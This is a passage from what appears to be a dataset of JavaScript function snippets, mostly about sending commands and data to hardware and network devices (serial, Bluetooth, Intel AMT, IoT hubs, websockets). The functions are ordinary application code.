telemetry_raw = \"\\r\\n\";\n $(\"#connect\")\n .addClass(\"btn-outline-success\")\n .removeClass(\"btn-outline-danger\")\n .text(\"Connect\");\n document.querySelector(\"#baudrate\").removeAttribute(\"disabled\");\n document.querySelector(\"#device-select\").removeAttribute(\"disabled\");\n $(\"#refresh\").click();\n break;\n case \"update\":\n break;\n case \"read\":\n term.write(response.data.replace(/\\n/g, \"\\r\\n\"));\n break;\n default:\n console.warn(\"Unknown response\");\n break;\n }\n}","_pingDevice () {\n this._ble.read(\n BoostBLE.service,\n BoostBLE.characteristic,\n false\n );\n }","sendFormatDataResponsePDU() {\n\n const bufs = Buffer.from(this.content + '\\x00', 'ucs2');\n\n this.send(new type.Component({\n msgType: new type.UInt16Le(data.ClipPDUMsgType.CB_FORMAT_DATA_RESPONSE),\n msgFlags: new type.UInt16Le(0x01),\n dataLen: new type.UInt32Le(bufs.length),\n requestedFormatData: new type.BinaryString(bufs, { readLength: new type.CallableValue(bufs.length) })\n }));\n\n }","function HandleData(data)\n{\n var avrNum = this.avrNum;\n if (avrNum == null) {\n Log('Data from unknown device!');\n return;\n }\n var str = data.toString();\n // wait for null at end of string\n var j = str.indexOf('\\0');\n if (j > -1) str = str.substr(0, j); // remove null\n // process each response separately\n var lines = str.split(\"\\n\");\n var id;\n for (j=0; j= 4 && str.substr(1,1) == '.') {\n id = str.substr(0,1);\n str = str.substr(2);\n }\n if (id != 'e') {\n if (str.substr(0,2) != 'OK') {\n Log('AVR'+avrNum, 'Bad response:', str);\n continue;\n }\n str = str.substr(3);\n }\n // ignore truncated responses (may happen at startup if commands\n // were sent before AVR was fully initialized)\n if (!id) continue;\n avrOK[avrNum] = 1;\n avrNum = HandleResponse(avrNum, id, str);\n }\n}","function appxsendfilehandler(x) {\r\n if (appxIsLocalReady()) {\r\n switch (x.messagepart) {\r\n case -1:\r\n var msgfilenamedata = [];\r\n var filepath = appx_session.currsendfile.filename;\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"Saving File...\");\r\n appx_session.currsendfile.filedata = [];\r\n setTimeout(function setTimeout1() {\r\n //send client file path length\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: hton32(filepath.length),\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n //send client file path\r\n for (var vi = 0; vi < filepath.length; vi++) {\r\n msgfilenamedata.push(filepath.charCodeAt(vi));\r\n }\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: msgfilenamedata,\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n //send client status EOF\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: [3, 1],\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"File Download Complete...\");\r\n setTimeout(function setTimeout2() {\r\n if ($(\"#appx-status-msg\").html() === \"File Download Complete...\") {\r\n appxClearStatusMsgText();\r\n }\r\n }, 1000);\r\n }, appx_session.currsendfile.blocksreceived * 1); //end setTimeout\r\n\r\n break;\r\n case 3:\r\n appx_session.currsendfile.filename = x.data.filename;\r\n appx_session.currsendfile.guid = Math.floor((Math.random() * 1000000) + 1);\r\n appx_session.currsendfile.filedatareceived = 0;\r\n appx_session.currsendfile.blocksreceived = 0;\r\n appx_session.currsendfile.datalengthneeded = x.data.datalength;\r\n if (appx_session.currsendfile.filename.indexOf(\"$(\") > -1) {\r\n appx_session.currsendfile.filename = appx_session.parseOption(appx_session.currsendfile.filename);\r\n }\r\n else {\r\n appx_session.currsendfile.filename = appx_session.currsendfile.filename;\r\n }\r\n if (appx_session.currsendfile.filename.indexOf(\"/\") == -1 && appx_session.currsendfile.filename.indexOf(\"\\\\\") == -1) {\r\n appx_session.currsendfile.filename = appx_session.parseOption(\"$(userHome)\" + appx_session.fileseparatorchar + appx_session.currsendfile.filename);\r\n }\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"Creating File: \" + appx_session.currsendfile.filename);\r\n appx_session.currsendfile.filecreated = false;\r\n CreateFile(appx_session.currsendfile);\r\n break;\r\n case 5:\r\n appx_session.currsendfile.blocksreceived += 1;\r\n appx_session.currsendfile.filedatareceived += x.data.length;\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"File Downloading... Received: \" + appx_session.currsendfile.filedatareceived + \" Bytes of \" + appx_session.currsendfile.datalengthneeded.toString() + \" Needed\");\r\n AppendFile(x.data);\r\n break;\r\n\r\n default:\r\n //append data to file via local connector\r\n break;\r\n }\r\n }\r\n else {\r\n //send client status EOF\r\n if (x.messagepart != -1) {\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: [0, 0],\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n }\r\n }\r\n}","function readSerialData(data) {\n console.log(data.toString());\n sendit({method: 'data', data: data.toString()});\n}","function performPowerActionResponse(stack, name, responses, status) {\n const dev = stack.dev;\n const action = dev.powerAction;\n delete dev.powerAction;\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\n if (status != 200) return;\n\n // If this is Intel AMT 10 or higher and we are trying to wake the device, send an OS wake.\n // This will wake the device from \"Modern Standby\".\n if ((action == 2) && (dev.aquired.majorver > 9)) {\n try { dev.amtstack.RequestOSPowerStateChange(2, function (stack, name, response, status) { }); } catch (ex) { }\n }\n }","async function sendPicture() {\n const req = {\n imagebytes: bas64,\n }\n alert('Enviado com sucesso');\n }","async function enableBloodPressure() {\n const command = hexToBase64(\"55 aa 04 02 01 f8\");\n // console.log(\"TCL: enableBloodPressure -> command\", command)\n const didWrite = await Bluetooth.writeToDevice(command);\n // console.log(\"TCL: enableBloodPressure -> didWrite\", didWrite)\n return didWrite;\n}","function transferByte(b) {\n\treturn new Promise((resolve, reject) => {\n\t\tlet txBuff = new Buffer([reverseByte(b)]);\n\t\tlet rxBuff = new Buffer(1);\n\t\tRPIO.spiTransfer(txBuff, rxBuff, 1);\n resolve(reverseByte(rxBuff[0]));\n\t});\n}","function fx000(res) {\n global.clog(\"[ss_reqHan][fx000][SENT]\");\n res.writeHead(200, { \"Content-Type\": \"audio/wav\" }); \n var sendingfile = fs.readFileSync(views.sfx() + '/fx000.wav');\n res.write(sendingfile);\n res.end();\n}","async function requestBLEDevice(){\n let result = Promise.resolve()\n if (ble.connected == false){\n console.log('Requesting ble device...')\n wdm('Requesting bluetooth device list')\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\n\n try{\n device = await navigator.bluetooth.requestDevice(options)\n console.log(\"found a device\",device)\n console.log(device.name)\n console.log(device.uuids)\n var textstr = \"found a device name: \" + device.name + \"
    \" + \"id: \" + device.id\n ble.statustext = textstr\n \n ble.device=device\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\n }\n catch(error){\n if (ble.connected == false){\n var textstr = 'Still waiting for user to select device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
    \" + textstr\n \n return error\n }\n }\n }\n return result\n}","inbound(count, obj) {\n console.log(`vat-http.inbound (from browser) ${count}`, obj);\n const p = Promise.resolve(handler[obj.type](obj));\n p.then(\n res => D(commandDevice).sendResponse(count, false, harden(res)),\n rej => D(commandDevice).sendResponse(count, true, harden(rej)),\n );\n }","function send_button_state(hex_state) {\n $.ajax({\n url: \"webpower/set/\" + hex_state,\n success: function() {\n console.log(\"sent: \" + hex_state)\n },\n });\n }","actuateBell(req, res) {\n const keyValuePairs = req.body.split('|') || [''];\n const command = getUltralightCommand(keyValuePairs[0]);\n const deviceId = 'bell' + req.params.id;\n const result = keyValuePairs[0] + '| ' + command;\n\n if (IoTDevices.notFound(deviceId)) {\n return res.status(404).send(result + NOT_OK);\n } else if (IoTDevices.isUnknownCommand('bell', command)) {\n return res.status(422).send(result + NOT_OK);\n }\n\n // Update device state\n IoTDevices.actuateDevice(deviceId, command);\n return res.status(200).send(result + OK);\n }","send(msg) {\n if (this.connectionId < 0) {\n throw 'Invalid connection';\n }\n chrome.serial.send(this.connectionId, str2ab(msg), function () {\n });\n }","function sendPost(data, callback) {\nvar options = {\n host: 'ws.audioscrobbler.com',\n path: '/2.0/',\n method: 'POST',\n headers: {\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Length': data.length\n }\n }\n , doPOST = http.request(options, function(request) {\n var reqReturn = ''\n request.setEncoding('utf8')\n request.on('data', function(chunk) {\n reqReturn += chunk\n })\n request.on('end', function() {\n // console.log('[POST RESPONSE] : ' + reqReturn)\n if (typeof(callback) == 'function')\n callback(reqReturn)\n })\n }).on('error', function(err) {\n // TODO\n })\ndoPOST.write(data)\ndoPOST.end()\n}","function sendPostResponse() {\n\t\t\t\t\t\n\t\t\t\t\tvar delaySend = false;\n\t\t\t\t\t// build appropriate response\n\t\t\t\t\tswitch(command) {\n\t\t\t\t\t\tcase 'end':\n\t\t\t\t\t\tcase 'continue':\n\t\t\t\t\t\t\tutils.info('server : Building \"continue\" response');\n\t\t\t\t\t\tcase 'start':\n\t\t\t\t\t\t\tmessage = {Op:'ok', id:deviceId};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t\tcase 'device_ready':\n\t\t\t\t\t\t\tutils.info('server : Building \"device_ready\" response:');\n\t\t\t\t\t\t\tvar task = device.taskGroup.getNextTest();\n\t\t\t\t\t\t\tif(task) {\n\t\t\t\t\t\t\t\tutils.info('\\tSending next task: ' + task);\n\t\t\t\t\t\t\t\tmessage = {Op:'ok', test:task};\n\t\t\t\t\t\t\t} else { // no more tasks, report\n\n\t\t\t\t\t\t\t\tutils.info('server : Is test done: ' + clientConnection.isTestDone);\n\t\t\t\t\t\t\t\tif(!clientConnection.isTestDone) {\n\t\t\t\t\t\t\t\t\tutils.info('server : setting istestdone to true');\n\t\t\t\t\t\t\t\t\tclientConnection.isTestDone = true;\n\t\t\t\t\t\t\t\t\tclientConnection.reporter.createReport();\n\t\t\t\t\t\t\t\t\tif(File.exists(path.join(END_GAME_LOCATION, 'Code', 'Main.js'))) {\n\t\t\t\t\t\t\t\t\t\tutils.info('\\tSending EndGame');\n\t\t\t\t\t\t\t\t\t\tmessage = {Op:'ok', test:'/' + END_GAME_LOCATION};\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tutils.info('is the next test ready?',\n\t\t\t\t\t\t\t\t clientConnection.isNextTestReady);\n\t\t\t\t\t\t\t\tif(clientConnection.isNextTestReady) {\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tclientConnection.isTestDone = false;\n\t\t\t\t\t\t\t\t\tclientConnection.isNextTestReady = false;\n\t\t\t\t\t\t\t\t\tdevice.taskGroup.restart();\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tutils.info('\\tNo more tasks.');\n\t\t\t\t\t\t\t\t\tmessage = {Op:'nada'};\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'sdk_social_test_start':\n\t\t\t\t\t\t\tutils.info('Adding US Social test set');\n\t\t\t\t\t\t\tdevice.addToTaskGroup(AUTO_SDK_SOCIAL_TEST_LOC);\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'social_test_start':\n\t\t\t\t\t\t\tutils.info('setting tests to social_test_start');\n\t\t\t\t\t\t\tdevice.setTaskGroup('Social_Tests', AUTO_SOCIAL_TEST_LOC);\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'task_finished':\n\t\t\t\t\t\tcase 'log_start':\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'log_end':\n\t\t\t\t\t\t\t// hold off on sending response if previous messages\n\t\t\t\t\t\t\t// have yet to be received\n\t\t\t\t\t\t\tif(clientConnection.isLogFinished()) {\n\t\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t// if previous message never gets resent, we need to send\n\t\t\t\t\t\t\t\t// the response after a timeout\n\t\t\t\t\t\t\t\tif(delaySend === false) {\n\t\t\t\t\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\t\t\t\t\tif(clientConnection.isDelayedResponseSet() === true) {\n\t\t\t\t\t\t\t\t\t\t\tutils.info('Did not receive all past messages in 2 minutes --> sending response (' + deviceId + ')');\n\t\t\t\t\t\t\t\t\t\t\tclientConnection.flush();\n\t\t\t\t\t\t\t\t\t\t\tclientConnection.sendDelayedResponse();\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}, 120000);\n\t\t\t\t\t\t\t\t\tdelaySend = true;\n\t\t\t\t\t\t\t\t\tclientConnection.setDelayedResponse(response);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tmessage = '';\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\tif(!delaySend) {\n\t\t\t\t\t\tsendResponse(200, message);\n\t\t\t\t\t}\n\n\t\t\t\t}","function transmit(fullBuffer) {\n\twsSnd.send(\"\" + fullBuffer.length + \"\");\n\tvar siz = 2048;\n\tvar idx, tmpBuf;\n\tfor (idx = 0; idx <= fullBuffer.length; idx += siz) {\n\t\ttmpBuf = fullBuffer.slice(idx, idx + siz);\n\t\twsSnd.send(tmpBuf);\n\t}\n\tif (idx != fullBuffer.length) {\n\t\ttmpBuf = fullBuffer.slice(idx, fullBuffer.length);\n\t\twsSnd.send(tmpBuf);\n\t}\n\twsSnd.send(\"\");\n\tconsole.log(\"TRANSMIT START\");\n}","function btn_OnTouch() {\n bt.Connect(\"SerialBT\");\n}","XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\n return new Promise((resolve, reject) => {\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\n console.log(\"Sending 'START DFU' command\");\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\n .then( () => this._send_packet_data(image_size_packet) )\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\n //TODO .then( () => this._clear_received_response() )\n });\n }","function systemCommandResponseCallback(error, stdout, stderr)\n {\n var responseString =\n 'stdout: ' + pipeToString(stdout)\n + 'stderr: ' + pipeToString(stderr)\n + 'error: ' + error;\n\n \t// Write the response and close the request\n\t\tserverResponse.writeHead(200, { \"Content-Type\": \"text/plain\" });\n\t\tserverResponse.end(\"RPi RESPONSE:\\n\" + responseString);\n serverResponse.end();\n }","async postAPI(url, values) {\n\t\tthis.log.debug('Post API called for : ' + url + ' and values : ' + JSON.stringify(values));\n\t\ttry {\n\t\t\tconst result = axios.post(url, values)\n\t\t\t\t.then((response) => {\n\t\t\t\t\treturn response.data;\n\t\t\t\t})\n\t\t\t\t.catch((error) => {\n\t\t\t\t\tthis.log.error('Sending command to WLED device + ' + url + ' failed with error ' + error);\n\t\t\t\t\treturn error;\n\t\t\t\t});\n\t\t\treturn result;\n\t\t} catch (error) {\n\t\t\tthis.log.error(error);\n\t\t}\n\t}","function onRequest(request, response){\r\n\tvar command = request.headers[\"command\"]\r\n\tvar deviceIP = request.headers[\"tplink-iot-ip\"]\r\n\tvar cmdRcvd = \"\\n\\r\" + new Date() + \"\\r\\nIP: \" + deviceIP + \" sent command \" + command\r\n\tconsole.log(\" \")\r\n\tconsole.log(cmdRcvd)\r\n\tswitch(command) {\r\n\t\t//---- (BridgeDH - Poll for Server APP ------------------\r\n\t\tcase \"pollServer\":\r\n\t\t\tresponse.setHeader(\"cmd-response\", \"ok\")\r\n\t\t\tresponse.end()\r\n\t\t\tvar respMsg = \"Server Poll response sent to SmartThings\"\r\n\t\t\tconsole.log(respMsg)\r\n\t\tbreak\r\n\r\n\t\t//---- TP-Link Device Command ---------------------------\r\n\t\tcase \"deviceCommand\":\r\n\t\t\t//----- Simulated power data Selection ----------------------\r\n\t\t\tvar command = request.headers[\"tplink-command\"]\r\n\t\t\tvar action = request.headers[\"action\"]\r\n\t\t\tif (action == \"onWatts\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"energyMeterResponse\")\r\n\t\t\t\tresponse.setHeader(\"cmd-response\", onWatts)\r\n\t\t\t\tresponse.end()\r\n\t\t\t} else if (action == \"offWatts\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"energyMeterResponse\")\r\n\t\t\t\tresponse.setHeader(\"cmd-response\", offWatts)\r\n\t\t\t\tresponse.end()\r\n\t\t\t} else {\r\n\t\t\t//----- Real data ----------------------\r\n\t\t\t\tprocessDeviceCommand(request, response)\r\n\t\t\t}\r\n\t\t\tbreak\r\n\t\r\n\t\t//---- Energy Meter Simulated Data Return ---------------\r\n\t\tcase \"emeterCmd\":\r\n\t\t\tvar action = request.headers[\"action\"]\r\n\t\t\tvar engrCmd = action.substring(0,3)\r\nconsole.log(\"engrCmd = \" + engrCmd)\r\n\t\t\tvar engrData = action.substring(3)\r\nconsole.log(\"engrData = \" + engrData)\r\n\t\t\tif (engrCmd == \"Con\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"useTodayResponse\")\r\n\t\t\t} else {\r\n\t\t\t\tresponse.setHeader(\"action\", \"engrStatsResponse\")\r\n\t\t\t}\r\n\t\t\tvar respData = \"\"\r\n\t\t\tswitch(engrData) {\r\n\t\t\t\tcase \"DecWatts\":\r\n\t\t\t\t\trespData = DecWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"DecMWatts\":\r\n\t\t\t\t\trespData = DecMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"JanWatts\":\r\n\t\t\t\t\trespData = JanWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"JanMWatts\":\r\n\t\t\t\t\trespData = JanMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"FebWatts\":\r\n\t\t\t\t\trespData = FebWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"FebMWatts\":\r\n\t\t\t\t\trespData = FebMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"MarWatts\":\r\n\t\t\t\t\trespData = MarWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"MarMWatts\":\r\n\t\t\t\t\trespData = MarMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day1Watts\":\r\n\t\t\t\t\trespData = Day1Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day1MWatts\":\r\n\t\t\t\t\trespData = Day1MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day2Watts\":\r\n\t\t\t\t\trespData = Day2Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day2MWatts\":\r\n\t\t\t\t\trespData = Day2MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day3Watts\":\r\n\t\t\t\t\trespData = Day3Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day3MWatts\":\r\n\t\t\t\t\trespData = Day3MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tdefault:\r\n\t\t\t\t\tbreak\r\n\t\t\t}\r\nconsole.log(respData)\r\n\t\t\tresponse.setHeader(\"cmd-response\", respData)\r\n\t\t\tresponse.end()\r\n\t\t\tbreak\r\n\t\tdefault:\r\n\t\t\tresponse.setHeader(\"cmd-response\", \"InvalidHubCmd\")\r\n\t\t\tresponse.end()\r\n\t\t\tvar respMsg = \"#### Invalid Command ####\"\r\n\t\t\tvar respMsg = new Date() + \"\\n\\r#### Invalid Command from IP\" + deviceIP + \" ####\\n\\r\"\r\n\t\t\tconsole.log(respMsg)\r\n\t\t\tlogResponse(respMsg)\r\n\t}\r\n}","start() {\n let constraints = {\n video: {\n facingMode: 'user',\n height: { min: 360, ideal: 720, max: 1080 },\n deviceId: localStorage.getItem('deviceId')\n },\n audio: true\n };\n\n // navigator.mediaDevices.enumerateDevices()\n // .then(dd=> { \n // dd.map(device => {\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\n // constraints.video.deviceId = device.deviceId;\n // }\n // })\n // }) \n\n // navigator.usb.requestDevice({filters:[]})\n // .then(selectedDevice => {\n // device = selectedDevice;\n // console.log('selectedDevice', device, selectedDevice);\n // return device.open(); // Begin a session.\n // })\n // .then(() => {\n // console.log('daada', device.selectConfiguration);\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\n // .then(() => {\n // console.log('daada', device.claimInterface);\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\n // .then(() => {\n // console.log('daada', device.controlTransferOut);\n // device.controlTransferOut({\n // requestType: 'class',\n // recipient: 'interface',\n // request: 0x22,\n // value: 0x01,\n // index: 0x02})}) // Ready to receive data\n // .then(() => {\n // console.log('dedde', device);\n // device.transferIn(5, 64)\n // }) // Waiting for 64 bytes of data from endpoint #5.\n // .then(result => {\n // let decoder = new TextDecoder();\n // console.log('decoder', decoder, result);\n // console.log('Received: ' + decoder.decode(result.data));\n // })\n // .catch(error => { console.log('this.error', error); });\n console.log('constraints', constraints)\n\n setTimeout(() => {\n // constraints.video.deviceId = localStorage.getItem('deviceId');\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then((stream) => {\n this.stream = stream;\n this.emit('stream', stream);\n })\n .catch((err) => {\n if (err instanceof DOMException) {\n alert('Cannot open webcam and/or microphone');\n } else {\n console.log(err);\n }\n });\n }, 3000)\n\n return this;\n }","function connectviaBT() {\r\n\t// initialize bluetooth and setup an event listener\r\n\t//todo: refactor name mWebSocket_InitAsync\r\n\tdocument.getElementById( \"idStatus\").innerHTML=\"Connecting via BT\";\r\n\t//returns data from BT as Uint8Array [1..20]\r\n\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\r\n\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\r\n\t.then(connectGATT) //todo:@FC please explain what is happening here\r\n\t.then(_ => {\r\n\t\tconsole.log('Evaluating signal of interest...')\r\n\t\treturn gattCharacteristic.readValue()\t//receiving data from BT - Uint8Array [1..20]\r\n\t})\r\n\t.catch(error => {\r\n\t\tconsole.log('Waiting to start reading: ' + error)\r\n\t})\r\n}","function performAdvancedPowerActionResponse(stack, name, responses, status) {\n const dev = stack.dev;\n const action = dev.powerAction;\n delete dev.powerAction;\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\n if (status != 200) return;\n if ((responses['AMT_BootSettingData'] == null) || (responses['AMT_BootSettingData'].response == null)) return;\n var bootSettingData = responses['AMT_BootSettingData'].response;\n\n // Clean up parameters\n bootSettingData['ConfigurationDataReset'] = false;\n delete bootSettingData['WinREBootEnabled'];\n delete bootSettingData['UEFILocalPBABootEnabled'];\n delete bootSettingData['UEFIHTTPSBootEnabled'];\n delete bootSettingData['SecureBootControlEnabled'];\n delete bootSettingData['BootguardStatus'];\n delete bootSettingData['OptionsCleared'];\n delete bootSettingData['BIOSLastStatus'];\n delete bootSettingData['UefiBootParametersArray'];\n delete bootSettingData['RPEEnabled'];\n delete bootSettingData['RSEPassword']\n\n // Ready boot parameters\n bootSettingData['BIOSSetup'] = ((action >= 11) && (action <= 14));\n bootSettingData['UseSOL'] = ((action >= 13) && (action <= 14));\n if ((action == 11) || (action == 13)) { dev.powerAction = 2; } // Power on\n if ((action == 12) || (action == 14)) { dev.powerAction = 10; } // Reset\n\n // Set boot parameters\n dev.amtstack.Put('AMT_BootSettingData', bootSettingData, function (stack, name, response, status, tag) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Set boot config\n dev.amtstack.SetBootConfigRole(1, function (stack, name, response, status, tag) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Set boot order\n dev.amtstack.CIM_BootConfigSetting_ChangeBootOrder(null, function (stack, name, response, status) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Perform power action\n try { dev.amtstack.RequestPowerStateChange(dev.powerAction, performPowerActionResponse); } catch (ex) { }\n }, 0, 1);\n }, 0, 1);\n }, 0, 1);\n }","function SendPortSync() {\n}","function webRtcSendOffer(clientName, offerValue) {\r\n\tif (typeof thisPeersName != \"string\") {\r\n\t\tconsole.log(\"Please set peer name before calling this function\");\r\n\t\treturn;\r\n\t}\r\n\t\r\n var xhttp = new XMLHttpRequest();\r\n\txhttp.onreadystatechange = function() {\r\n\t\tif (xhttp.readyState == 4 && xhttp.status == 200) {\r\n \r\n //see if there is a client asking to connect\r\n if (typeof xhttp.responseText == \"string\" && xhttp.responseText.length > 0) {\r\n ;\r\n }\r\n \r\n\t\t}\r\n\t};\r\n var full = location.protocol+'//'+location.hostname+(location.port ? ':'+location.port: ''); \r\n \r\n\t//xhttp.open(\"GET\", \"http://\" + window.location.host + \"/ioInterface?command=getOtsValues\", true);\r\n var message = {messageType: 'offer', offer: offerValue};\r\n var url = full + \"/webrtc?command=writeMessage&clientName=\" + thisPeersName + \"&destinationName=\" + clientName + \"&message=\" + btoa(JSON.stringify(message));\r\n \r\n //console.log(url.length, url);\r\n xhttp.open(\"GET\", url, true);\r\n\txhttp.send();\t \r\n}","sendMakeBetShan2(_chipbet) {\n cc.NGWlog(\"Vua dat cuoc =\" + _chipbet);\n var data = {\n evt: \"bm\",\n M: _chipbet\n };\n this.sendDataGame(JSON.stringify(data));\n }","function IoTHubGetDeviceInfo(deviceId, iothubname) {\n console.log(\"Getting Device Info : \" + deviceId);\n $('#IoTHub_Busy_Indicator').css('display', 'flex');\n $.ajax({\n type: \"GET\",\n url: '/home/IoTHubGetDeviceInfo',\n data: { deviceId: deviceId },\n success: function (response) {\n $('#deviceConnectionState').html(response.connectionState);\n\n if (response.connectionState == \"Disconnected\") {\n $('#deviceConnectionState').css(\"color\", 'red');\n }\n else {\n $('#deviceConnectionState').css(\"color\", 'blue');\n }\n $('#deviceModelId').html(response.deviceModelId);\n $('#deviceConnectionString').html(\"HostName=\" + iothubname + \";DeviceId=\" + response.deviceId + \";SharedAccessKey=\" + response.symmetricKey);\n $('#deviceKey').html(response.symmetricKey);\n\n DisableButton($('#btnDeviceTwin'), false);\n\n if (response.deviceModelId != null && response.deviceModelId.length > 0) {\n DisableButton($('#btnDeviceModelIdCopy'), false);\n }\n else\n {\n DisableButton($('#btnDeviceModelIdCopy'), true);\n }\n\n if (response.symmetricKey.length > 0) {\n DisableButton($('#btnDeviceConnectionStringCopy'), false);\n DisableButton($('#btnDeviceKeyCopy'), false);\n }\n else {\n DisableButton($('#btnDeviceConnectionStringCopy'), true);\n DisableButton($('#btnDeviceKeyCopy'), true);\n }\n\n //$('#btnDeviceModelIdCopy').prop('disabled', true);\n return true;\n },\n error: function (jqXHR) {\n // clear all fields\n IoTHubModalClear();\n alert(\" Status: \" + jqXHR.status + \" \" + jqXHR.responseText);\n return false;\n }\n });\n $('#IoTHub_Busy_Indicator').hide();\n\n}","function callAPI(req,res,handleResponse){\n var host = 'www.blueworkslive.com';\n var username = 'xxxx';\n var password = 'yyyy';\n var path = '/api/Auth';\n var headers = {\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\n };\n var options = {\n host: host,\n path: path,\n method: 'GET',\n headers: headers\n };\n var bwlResData = {};\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\n var bwlRequest = https.request(options, function(bwlResponse) {\n\tconsole.log(\"BwlApiCall: Response status=\"+bwlResponse.statusCode);\n\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\n\tbwlResData.headers = bwlResponse.headers;\n\tvar bufferData = [];\n\tbwlResponse.on('data', function(data) {\n\t bufferData.push(data);\n console.info('BwlApiCall: Response data received');\n\t});\n\tbwlResponse.on('end', function() {\n console.info('BwlApiCall: completed, calling callback');\n\t bwlResData.data = Buffer.concat(bufferData);\n\t handleResponse(req, res, bwlResData);\n });\n });\n/* if ((reqData.method == \"post\" || reqData.method == \"put\") && reqData.senddata) {\n console.log(reqData.method+' sending data: '+reqData.senddata);\n bwlRequest.write(reqData.senddata);\n } */\n bwlRequest.end();\n bwlRequest.on('error', function(e){\n console.error('BwlApiCall: REQUEST-ERROR '+e);\n });\n}","function sendConvertRAIDType(cardchar) {\n\t//collect data from web UI\n\tvar NewRAIDType = document.getElementById(\"RAIDType\"+cardchar).selectedIndex - 1;\n\tvar GUID = $(\"#GUID\"+cardchar).html();\n\n\t//store the command which is in progress\n\t$(\"#cardProgCmd\"+cardchar).html(JS_CONVERT_RAID_TYPE_REQ);\n\n\t//console.log(\"Convert GUID = \"+GUID);\n\n\t//disable \"Convert\" button\n\t$(\"#confirmConvertRAIDType\"+cardchar).prop(\"disabled\", true);\n\n\t//send 